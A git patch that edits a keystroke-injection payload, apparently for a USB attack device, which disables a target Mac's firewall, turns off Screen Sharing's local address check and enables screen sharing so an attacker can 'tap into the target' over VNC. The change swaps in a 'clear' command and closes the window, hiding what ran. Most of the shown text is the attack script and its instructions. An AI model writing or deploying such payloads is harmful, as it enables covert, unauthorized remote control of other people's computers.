From 90ef0f836975a78449aa4dda8666035cbabaa5fa Mon Sep 17 00:00:00 2001 From: Narstybits Date: Wed, 31 May 2023 10:59:51 -0500 Subject: [PATCH] Adjustments to code to make for easier execution --- Executions/Virtual Network Remote Access.txt | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/Executions/Virtual Network Remote Access.txt b/Executions/Virtual Network Remote Access.txt index 25e0576..67bfa4a 100644 --- a/Executions/Virtual Network Remote Access.txt +++ b/Executions/Virtual Network Remote Access.txt @@ -6,17 +6,14 @@ REM and control that Mac from another computer using a VNC viewer application. REM This script disables the firewall REM disable the local address check for Screen Sharing -REM opens a VNC connection to localhost -REM and hides the Screen Sharing window. -REM you MUST replace "target_ip_address" with I.P. address of targets MacOs +REM and enables screen sharing via sudo command (must know password) REM Now you can use your local computer to tap into the target -REM This command will install the RealVNC VNC Viewer 'brew install --cask realvnc-vnc-viewer' -REM In RealVNC VNC Viewer, enter the IP address of the target machine -REM (the machine where you ran the script) and click the "Connect" button. +REM you can run the command open vnc://target_ip_address +REM replace "target_ip_address" with the actual I.p. of the remote MacOs -REM RealVNC VNC Viewer should establish a connection to the target machine, +REM VNC Viewer should establish a connection to the target machine, REM you should be able to see and control the remote desktop of the target machine on your computer. REM Note that the specific command and package name may vary @@ -50,11 +47,7 @@ STRING defaults write com.apple.ScreenSharing skipLocalAddressCheck -bool true DELAY 3000 ENTER DELAY 500 -STRING open vnc://target_ip_address -DELAY 500 +STRING clear ENTER -DELAY 500 -ENTER -DELAY 500 -GUI h +GUI w